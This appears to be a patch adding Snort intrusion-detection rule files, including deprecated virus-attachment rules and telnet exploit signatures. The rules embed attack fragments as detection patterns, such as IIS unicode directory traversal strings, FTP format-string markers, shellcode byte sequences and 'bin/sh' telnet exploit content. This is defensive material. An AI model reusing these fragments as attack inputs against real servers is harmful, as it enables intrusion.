+alert tcp any 110 -> any any (msg:"Virus - Possible Fix2001 Worm"; flow:established; content:"filename=|22|Fix2001.exe|22|"; nocase; reference:MCAFEE,10355; classtype:misc-activity; sid:756; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible Y2K Zelu Trojan"; flow:established; content:"filename=|22|Y2K.EXE|22|"; nocase; reference:MCAFEE,10505; classtype:misc-activity; sid:757; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible The_Fly Trojan"; flow:established; content:"filename=|22|THE_FLY.CHM|22|"; nocase; reference:MCAFEE,10478; classtype:misc-activity; sid:758; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible Word Macro - VALE"; flow:established; content:"filename=|22|DINHEIRO.DOC|22|"; nocase; reference:MCAFEE,10502; classtype:misc-activity; sid:759; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible Passion Worm"; flow:established; content:"filename=|22|ICQ_GREETINGS.EXE|22|"; nocase; reference:MCAFEE,10467; classtype:misc-activity; sid:760; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - cooler3.exe"; flow:established; content:"filename=|22|COOLER3.EXE|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:761; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - party.exe"; flow:established; content:"filename=|22|PARTY.EXE|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:762; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - hog.exe"; flow:established; content:"filename=|22|HOG.EXE|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:763; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - goal1.exe"; flow:established; content:"filename=|22|GOAL1.EXE|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:764; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - pirate.exe"; flow:established; content:"filename=|22|PIRATE.EXE|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:765; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - video.exe"; flow:established; content:"filename=|22|VIDEO.EXE|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:766; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - baby.exe"; flow:established; content:"filename=|22|BABY.EXE|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:767; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - cooler1.exe"; flow:established; content:"filename=|22|COOLER1.EXE|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:768; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - boss.exe"; flow:established; content:"filename=|22|BOSS.EXE|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:769; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - g-zilla.exe"; flow:established; content:"filename=|22|G-ZILLA.EXE|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:770; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible ToadieE-mail Trojan"; flow:established; content:"filename=|22|Toadie.exe|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:771; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible PrettyPark Trojan"; flow:established; content:"|5C|CoolProgs|5C|"; depth:750; offset:300; reference:MCAFEE,10175; classtype:misc-activity; sid:772; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible Happy99 Virus"; flow:established; content:"X-Spanska|3A|Yes"; reference:MCAFEE,10144; classtype:misc-activity; sid:773; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible CheckThis Trojan"; flow:established; content:"name =|22|links.vbs|22|"; classtype:misc-activity; sid:774; rev:5;)
+alert tcp any 110 -> any any (msg:"Virus - Possible Bubbleboy Worm"; flow:established; content:"BubbleBoy is back!"; reference:MCAFEE,10418; classtype:misc-activity; sid:775; rev:6;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - copier.exe"; flow:established; content:"filename=|22|COPIER.EXE|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:776; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible MyPics Worm"; flow:established; content:"name =|22|pics4you.exe|22|"; reference:MCAFEE,10467; classtype:misc-activity; sid:777; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible Babylonia - X-MAS.exe"; flow:established; content:"name =|22|X-MAS.EXE|22|"; reference:MCAFEE,10461; classtype:misc-activity; sid:778; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - gadget.exe"; flow:established; content:"filename=|22|GADGET.EXE|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:779; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - irnglant.exe"; flow:established; content:"filename=|22|IRNGLANT.EXE|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:780; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - casper.exe"; flow:established; content:"filename=|22|CASPER.EXE|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:781; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - fborfw.exe"; flow:established; content:"filename=|22|FBORFW.EXE|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:782; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - saddam.exe"; flow:established; content:"filename=|22|SADDAM.EXE|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:783; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - bboy.exe"; flow:established; content:"filename=|22|BBOY.EXE|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:784; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - monica.exe"; flow:established; content:"filename=|22|MONICA.EXE|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:785; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - goal.exe"; flow:established; content:"filename=|22|GOAL.EXE|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:786; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - panther.exe"; flow:established; content:"filename=|22|PANTHER.EXE|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:787; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - chestburst.exe"; flow:established; content:"filename=|22|CHESTBURST.EXE|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:788; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible Common Sense Worm"; flow:established; content:"name =|22|THE_FLY.CHM|22|"; classtype:misc-activity; sid:790; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - cupid2.exe"; flow:established; content:"filename=|22|CUPID2.EXE|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:791; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible Resume Worm"; flow:established; content:"filename=|22|RESUME1.DOC|22|"; nocase; reference:MCAFEE,98661; classtype:misc-activity; sid:792; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible Resume Worm"; flow:established; content:"filename=|22|Explorer.doc|22|"; nocase; reference:MCAFEE,98661; classtype:misc-activity; sid:794; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible Worm -  txt.vbs file"; flow:established; content:"filename="; content:".txt.vbs"; nocase; classtype:misc-activity; sid:795; rev:6;)
+alert tcp any 110 -> any any (msg:"Virus - Possible Worm - xls.vbs file"; flow:established; content:"filename="; content:".xls.vbs"; nocase; classtype:misc-activity; sid:796; rev:6;)
+alert tcp any 110 -> any any (msg:"Virus - Possible Worm - jpg.vbs file"; flow:established; content:"filename="; content:".jpg.vbs"; nocase; classtype:misc-activity; sid:797; rev:6;)
+alert tcp any 110 -> any any (msg:"Virus - Possible Worm -  gif.vbs file"; flow:established; content:"filename="; content:".gif.vbs"; nocase; classtype:misc-activity; sid:798; rev:6;)
+alert tcp any 110 -> any any (msg:"Virus - Possible Timofonica Worm"; flow:established; content:"filename=|22|TIMOFONICA.TXT.vbs|22|"; nocase; reference:MCAFEE,98674; classtype:misc-activity; sid:799; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible Resume Worm"; flow:established; content:"filename=|22|NORMAL.DOT|22|"; nocase; reference:MCAFEE,98661; classtype:misc-activity; sid:800; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible Worm - doc.vbs file"; flow:established; content:"filename="; content:".doc.vbs"; nocase; classtype:misc-activity; sid:801; rev:6;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - farter.exe"; flow:established; content:"filename=|22|FARTER.EXE|22|"; nocase; reference:MCAFEE,1054; classtype:misc-activity; sid:789; rev:7;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"VIRUS Klez Incoming"; dsize:>120; flow:to_server,established; content:"MIME"; content:"VGhpcyBwcm9"; classtype:misc-activity; sid:1800; rev:4;)
+# pcre makes this not needed
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP XEXCH50 overflow with evasion attempt"; flow:to_server,established; content:"XEXCH50"; nocase; content:"-0"; distance:1; reference:url,www.microsoft.com/technet/security/bulletin/MS03-046.mspx; classtype:attempted-admin; sid:2254; rev:3;)
+
+# historical reference... this used to be here...
+alert tcp any 110 -> any any (msg:"Virus - Possbile Zipped Files Trojan"; flow:established; content:"name =|22|Zipped_Files.EXE|22|"; reference:MCAFEE,10450; classtype:misc-activity; sid:802; rev:7;)
+
+# taken care of by http_inspect now
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS multiple decode attempt"; flow:to_server,established; uricontent:"%5c"; uricontent:".."; reference:bugtraq,2708; reference:cve,2001-0333; classtype:web-application-attack; reference:nessus,10671; sid:970; rev:11;)
+
+# better rule for 1054 caused these rules to not be needed
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Tomcat sourecode view"; flow:to_server,established; uricontent:".js%2570"; nocase; classtype:attempted-recon; sid:1236; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Tomcat sourecode view"; flow:to_server,established; uricontent:".j%2573p"; nocase; classtype:attempted-recon; sid:1237; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Tomcat sourecode view"; flow:to_server,established; uricontent:".%256Asp"; nocase; classtype:attempted-recon; sid:1238; rev:6;)
+
+# these rules are dumb.  sid:857 looks for the access, and thats all we can do
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI faxsurvey attempt full path"; flow:to_server,established; uricontent:"/faxsurvey?/"; nocase; reference:bugtraq,2056; reference:cve,1999-0262; reference:nessus,10067; classtype:web-application-attack; sid:1647; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI faxsurvey arbitrary file read attempt"; flow:to_server,established; uricontent:"/faxsurvey?cat%20"; nocase; reference:bugtraq,2056; reference:cve,1999-0262; reference:nessus,10067; classtype:web-application-attack; sid:1609; rev:7;)
+
+# dup of 2061
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Tomcat directory traversal attempt"; flow:to_server,established; uricontent:"|00|.jsp"; reference:bugtraq,2518; classtype:web-application-attack; sid:1055; rev:9;)
+
+
+
+# squash all of the virus rules into one rule.  go PCRE!
+alert tcp any any -> any 139 (msg:"Virus - Possible QAZ Worm Infection"; flow:established; content:"qazwsx.hsq"; reference:MCAFEE,98775; classtype:misc-activity; sid:732; rev:8;)
+alert tcp $SMTP_SERVERS any -> $EXTERNAL_NET 25 (msg:"VIRUS OUTBOUND .shs file attachment"; flow:to_server,established; content:"Content-Disposition|3A|"; content:"filename=|22|"; within:30; content:".shs|22|"; within:30; nocase; classtype:suspicious-filename-detect; sid:730; rev:7;)
+alert tcp $SMTP_SERVERS any -> $EXTERNAL_NET 25 (msg:"VIRUS OUTBOUND .exe file attachment"; flow:to_server,established; content:"Content-Disposition|3A|"; content:"filename=|22|"; within:30; content:".exe|22|"; within:30; nocase; classtype:suspicious-filename-detect; sid:2160; rev:4;)
+alert tcp $SMTP_SERVERS any -> $EXTERNAL_NET 25 (msg:"VIRUS OUTBOUND .doc file attachment"; flow:to_server,established; content:"Content-Disposition|3A|"; content:"filename=|22|"; within:30; content:".doc|22|"; within:30; nocase; classtype:suspicious-filename-detect; sid:2161; rev:4;)
+alert tcp $SMTP_SERVERS any -> $EXTERNAL_NET 25 (msg:"VIRUS OUTBOUND .vbs file attachment"; flow:to_server,established; content:"Content-Disposition|3A|"; content:"filename=|22|"; within:30; content:".vbs|22|"; within:30; nocase; classtype:suspicious-filename-detect; sid:793; rev:7;)
+alert tcp $SMTP_SERVERS any -> $EXTERNAL_NET 25 (msg:"VIRUS OUTBOUND .hta file attachment"; flow:to_server,established; content:"Content-Disposition|3A|"; content:"filename=|22|"; within:30; content:".hta|22|"; within:30; nocase; classtype:suspicious-filename-detect; sid:2162; rev:4;)
+alert tcp $SMTP_SERVERS any -> $EXTERNAL_NET 25 (msg:"VIRUS OUTBOUND .chm file attachment"; flow:to_server,established; content:"Content-Disposition|3A|"; content:"filename=|22|"; within:30; content:".chm|22|"; within:30; nocase; classtype:suspicious-filename-detect; sid:2163; rev:4;)
+alert tcp $SMTP_SERVERS any -> $EXTERNAL_NET 25 (msg:"VIRUS OUTBOUND .reg file attachment"; flow:to_server,established; content:"Content-Disposition|3A|"; content:"filename=|22|"; within:30; content:".reg|22|"; within:30; nocase; classtype:suspicious-filename-detect; sid:2164; rev:4;)
+alert tcp $SMTP_SERVERS any -> $EXTERNAL_NET 25 (msg:"VIRUS OUTBOUND .ini file attachment"; flow:to_server,established; content:"Content-Disposition|3A|"; content:"filename=|22|"; within:30; content:".ini|22|"; within:30; nocase; classtype:suspicious-filename-detect; sid:2165; rev:4;)
+alert tcp $SMTP_SERVERS any -> $EXTERNAL_NET 25 (msg:"VIRUS OUTBOUND .bat file attachment"; flow:to_server,established; content:"Content-Disposition|3A|"; content:"filename=|22|"; within:30; content:".bat|22|"; within:30; nocase; classtype:suspicious-filename-detect; sid:2166; rev:4;)
+alert tcp $SMTP_SERVERS any -> $EXTERNAL_NET 25 (msg:"VIRUS OUTBOUND .diz file attachment"; flow:to_server,established; content:"Content-Disposition|3A|"; content:"filename=|22|"; within:30; content:".diz|22|"; within:30; nocase; classtype:suspicious-filename-detect; sid:2167; rev:4;)
+alert tcp $SMTP_SERVERS any -> $EXTERNAL_NET 25 (msg:"VIRUS OUTBOUND .cpp file attachment"; flow:to_server,established; content:"Content-Disposition|3A|"; content:"filename=|22|"; within:30; content:".cpp|22|"; within:30; nocase; classtype:suspicious-filename-detect; sid:2168; rev:4;)
+alert tcp $SMTP_SERVERS any -> $EXTERNAL_NET 25 (msg:"VIRUS OUTBOUND .dll file attachment"; flow:to_server,established; content:"Content-Disposition|3A|"; content:"filename=|22|"; within:30; content:".dll|22|"; within:30; nocase; classtype:suspicious-filename-detect; sid:2169; rev:4;)
+alert tcp $SMTP_SERVERS any -> $EXTERNAL_NET 25 (msg:"VIRUS OUTBOUND .vxd file attachment"; flow:to_server,established; content:"Content-Disposition|3A|"; content:"filename=|22|"; within:30; content:".vxd|22|"; within:30; nocase; classtype:suspicious-filename-detect; sid:2170; rev:4;)
+alert tcp $SMTP_SERVERS any -> $EXTERNAL_NET 25 (msg:"VIRUS OUTBOUND .sys file attachment"; flow:to_server,established; content:"Content-Disposition|3A|"; content:"filename=|22|"; within:30; content:".sys|22|"; within:30; nocase; classtype:suspicious-filename-detect; sid:2171; rev:4;)
+alert tcp $SMTP_SERVERS any -> $EXTERNAL_NET 25 (msg:"VIRUS OUTBOUND .com file attachment"; flow:to_server,established; content:"Content-Disposition|3A|"; content:"filename=|22|"; within:30; content:".com|22|"; within:30; nocase; classtype:suspicious-filename-detect; sid:2172; rev:4;)
+alert tcp $SMTP_SERVERS any -> $EXTERNAL_NET 25 (msg:"VIRUS OUTBOUND .scr file attachment"; flow:to_server,established; content:"Content-Disposition|3A|"; content:"filename=|22|"; within:30; content:".scr|22|"; within:30; nocase; classtype:suspicious-filename-detect; sid:729; rev:7;)
+alert tcp $SMTP_SERVERS any -> $EXTERNAL_NET 25 (msg:"VIRUS OUTBOUND .hsq file attachment"; flow:to_server,established; content:"Content-Disposition|3A|"; content:"filename=|22|"; within:30; content:".hsq|22|"; within:30; nocase; classtype:suspicious-filename-detect; sid:2173; rev:4;)
+
+# uh, yeah this happens quite a bit.
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC ?open access"; flow:to_server,established; uricontent:"?open"; nocase; classtype:web-application-activity; sid:1561; rev:5;)
+
+# dup of 1485
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC mkilog.exe access"; flow:to_server,established; uricontent:"/mkilog.exe"; nocase; classtype:web-application-activity; sid:1665; rev:6;)
+
+# dup of 2339
+alert udp $EXTERNAL_NET any -> $HOME_NET 69 (msg:"TFTP NULL command attempt"; content:"|00 00|"; depth:2; reference:bugtraq,7575; classtype:bad-unknown; sid:2336; rev:3;)
+
+# these happen.  more research = more better rules
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 465 (msg:"SMTP SSLv3 invalid timestamp attempt"; flow:to_server,established; content:"|16 03|"; depth:2; content:"|01|"; depth:1; offset:5; byte_test:4,>,2147483647,5,relative; reference:bugtraq,10115; reference:cve,2004-0120; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-dos; reference:nessus,12204; sid:2503; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 443 (msg:"WEB-MISC SSLv3 invalid timestamp attempt"; flow:to_server,established; content:"|16 03|"; depth:2; content:"|01|"; depth:1; offset:5; byte_test:4,>,2147483647,5,relative; reference:bugtraq,10115; reference:cve,2004-0120; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-dos; reference:nessus,12204; sid:2506; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 636 (msg:"MISC LDAP SSLv3 invalid timestamp attempt"; flow:to_server,established; content:"|16 03|"; depth:2; content:"|01|"; depth:1; offset:5; byte_test:4,>,2147483647,5,relative; reference:bugtraq,10115; reference:cve,2004-0120; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-dos; reference:nessus,12204; sid:2499; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 993 (msg:"IMAP SSLv3 invalid timestamp attempt"; flow:to_server,established; content:"|16 03|"; depth:2; content:"|01|"; depth:1; offset:5; byte_test:4,>,2147483647,5,relative; reference:bugtraq,10115; reference:cve,2004-0120; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-dos; reference:nessus,12204; sid:2498; rev:8;)
+
+
+#nmap is no longer as dumb as it once was...
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"SCAN nmap TCP"; ack:0; flags:A,12; flow:stateless; reference:arachnids,28; classtype:attempted-recon; sid:628; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"SCAN nmap fingerprint attempt"; flags:SFPU; flow:stateless; reference:arachnids,05; classtype:attempted-recon; sid:629; rev:6;)
+
+# dup of 553
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"POLICY FTP anonymous ftp login attempt"; flow:to_server,established; content:"USER"; nocase; content:" ftp|0D 0A|"; nocase; classtype:misc-activity; sid:1449; rev:7;)
+
+# dup of 2417, which is a better rule anyways
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP format string attempt"; flow:to_server,established; content:"%p"; nocase; classtype:attempted-admin; reference:nessus,10452; reference:bugtraq,1387; reference:bugtraq,2240; reference:bugtraq,726; reference:cve,2000-0573; reference:cve,1999-0997; sid:1530; rev:12;)
+
+# ans1 goodness takes care of this one for us
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS DCERPC NTLMSSP invalid mechlistMIC attempt"; flow:to_server,established; content:"|FF|SMBs"; depth:5; offset:4; nocase; content:"`"; depth:1; offset:63; content:"|00 00 00|b|06 83 00 00 06|+|06 01 05 05 02|"; within:15; distance:1; content:"|06 0A|+|06 01 04 01 82|7|02 02 0A|"; distance:0; content:"|A3|>0<|A0|0"; distance:0; reference:bugtraq,9633; reference:bugtraq,9635; reference:cve,2003-0818; reference:nessus,12052; reference:nessus,12054; classtype:attempted-dos; reference:nessus,12065; sid:2385; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NTLMSSP invalid mechlistMIC attempt"; flow:to_server,established; content:"|FF|SMBs"; depth:5; offset:4; nocase; content:"`"; depth:1; offset:63; content:"|00 00 00|b|06 83 00 00 06|+|06 01 05 05 02|"; within:15; distance:1; content:"|06 0A|+|06 01 04 01 82|7|02 02 0A|"; distance:0; content:"|A3|>0<|A0|0"; distance:0; reference:bugtraq,9633; reference:bugtraq,9635; reference:cve,2003-0818; reference:nessus,12052; reference:nessus,12054; classtype:attempted-dos; reference:nessus,12065; sid:2384; rev:10;)
+
+
+# because this rule sucks
+alert tcp $HOME_NET 7161 -> $EXTERNAL_NET any (msg:"MISC Cisco Catalyst Remote Access"; flags:SA,12; flow:stateless; reference:arachnids,129; reference:bugtraq,705; reference:cve,1999-0430; classtype:bad-unknown; sid:513; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8080 (msg:"SCAN Proxy Port 8080 attempt"; flags:S,12; flow:stateless; classtype:attempted-recon; sid:620; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 1080 (msg:"SCAN SOCKS Proxy attempt"; flags:S,12; flow:stateless; reference:url,help.undernet.org/proxyscan/; classtype:attempted-recon; sid:615; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 3128 (msg:"SCAN Squid Proxy attempt"; flags:S,12; flow:stateless; classtype:attempted-recon; sid:618; rev:9;)
+
+
+# http inspect does a better job than these rules do
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS unicode directory traversal attempt"; flow:to_server,established; content:"/..%c0%af../"; nocase; reference:bugtraq,1806; reference:cve,2000-0884; classtype:web-application-attack; reference:nessus,10537; sid:981; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS unicode directory traversal attempt"; flow:to_server,established; content:"/..%c1%1c../"; nocase; reference:bugtraq,1806; reference:cve,2000-0884; classtype:web-application-attack; reference:nessus,10537; sid:982; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS unicode directory traversal attempt"; flow:to_server,established; content:"/..%c1%9c../"; nocase; reference:bugtraq,1806; reference:cve,2000-0884; classtype:web-application-attack; reference:nessus,10537; sid:983; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS unicode directory traversal attempt"; flow:to_server,established; content:"/..%255c.."; nocase; reference:bugtraq,1806; reference:cve,2000-0884; classtype:web-application-attack; reference:nessus,10537; sid:1945; rev:6;)
+
+# dup of 1672
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP CWD ~<CR><NEWLINE> attempt"; flow:to_server,established; content:"CWD "; content:" ~|0D 0A|"; reference:bugtraq,2601; reference:cve,2001-0421; classtype:denial-of-service; sid:1728; rev:7;)
+
+# dup of 1229
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP CWD .... attempt"; flow:to_server,established; content:"CWD "; content:" ...."; reference:bugtraq,4884; classtype:denial-of-service; sid:1779; rev:3;)
+
+# dup of 1757
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC b2 access"; flow:to_server,established; uricontent:"/b2/b2-include/"; content:"b2inc"; content:"http|3A|//"; classtype:web-application-attack; reference:bugtraq,4673; reference:cve,2002-0734; sid:1758; rev:6;)
+
+# dup of 653
+alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE x86 0x90 NOOP unicode"; content:"|90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00|"; classtype:shellcode-detect; sid:2314; rev:2;)
+
+# converted to a dup by 1437 moving to regex
+alert tcp $EXTERNAL_NET 80 -> $HOME_NET any (msg:"MULTIMEDIA Windows Media Video download"; flow:from_server,established; content:"Content-type|3A| video/x-ms-asf"; nocase; content:"|0A|"; within:2; classtype:policy-violation; sid:1438; rev:7;)
+
+# handled by 1212
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC order.log access"; flow:to_server,established; uricontent:"/admin_files/order.log"; nocase; classtype:attempted-recon; sid:1176; rev:6;)
+
--- snort-2.8.5.2.orig/rules/telnet.rules
+++ snort-2.8.5.2/rules/telnet.rules
@@ -0,0 +1,42 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: telnet.rules,v 1.35.2.4.2.5 2005/06/29 15:35:04 mwatchinski Exp $
+#-------------
+# TELNET RULES
+#-------------
+#
+# These signatures are based on various telnet exploits and unpassword
+# protected accounts.
+#
+
+
+alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"TELNET Solaris memory mismanagement exploit attempt"; flow:to_server,established; content:"|A0 23 A0 10 AE 23 80 10 EE 23 BF EC 82 05 E0 D6 90|%|E0|"; classtype:shellcode-detect; sid:1430; rev:7;)
+alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"TELNET SGI telnetd format bug"; flow:to_server,established; content:"_RLD"; content:"bin/sh"; reference:arachnids,304; reference:bugtraq,1572; reference:cve,2000-0733; classtype:attempted-admin; sid:711; rev:8;)
+alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"TELNET ld_library_path"; flow:to_server,established; content:"ld_library_path"; reference:arachnids,367; reference:bugtraq,459; reference:cve,1999-0073; classtype:attempted-admin; sid:712; rev:8;)
+alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"TELNET livingston DOS"; flow:to_server,established; content:"|FF F3 FF F3 FF F3 FF F3 FF F3|"; rawbytes; reference:arachnids,370; reference:bugtraq,2225; reference:cve,1999-0218; classtype:attempted-dos; sid:713; rev:10;)
+alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"TELNET resolv_host_conf"; flow:to_server,established; content:"resolv_host_conf"; reference:arachnids,369; reference:bugtraq,2181; reference:cve,2001-0170; classtype:attempted-admin; sid:714; rev:7;)
+alert tcp $TELNET_SERVERS 23 -> $EXTERNAL_NET any (msg:"TELNET Attempted SU from wrong group"; flow:from_server,established; content:"to su root"; nocase; classtype:attempted-admin; sid:715; rev:6;)
+alert tcp $TELNET_SERVERS 23 -> $EXTERNAL_NET any (msg:"TELNET not on console"; flow:from_server,established; content:"not on system console"; nocase; reference:arachnids,365; classtype:bad-unknown; sid:717; rev:6;)
+alert tcp $TELNET_SERVERS 23 -> $EXTERNAL_NET any (msg:"TELNET root login"; flow:from_server,established; content:"login|3A| root"; classtype:suspicious-login; sid:719; rev:7;)
+alert tcp $TELNET_SERVERS 23 -> $EXTERNAL_NET any (msg:"TELNET bsd telnet exploit response"; flow:from_server,established; content:"|0D 0A|[Yes]|0D 0A FF FE 08 FF FD|&"; rawbytes; reference:bugtraq,3064; reference:cve,2001-0554; reference:nessus,10709; classtype:attempted-admin; sid:1252; rev:15;)
+alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"TELNET bsd exploit client finishing"; flow:to_client,established; dsize:>200; content:"|FF F6 FF F6 FF FB 08 FF F6|"; depth:50; offset:200; rawbytes; reference:bugtraq,3064; reference:cve,2001-0554; reference:nessus,10709; classtype:successful-admin; sid:1253; rev:13;)
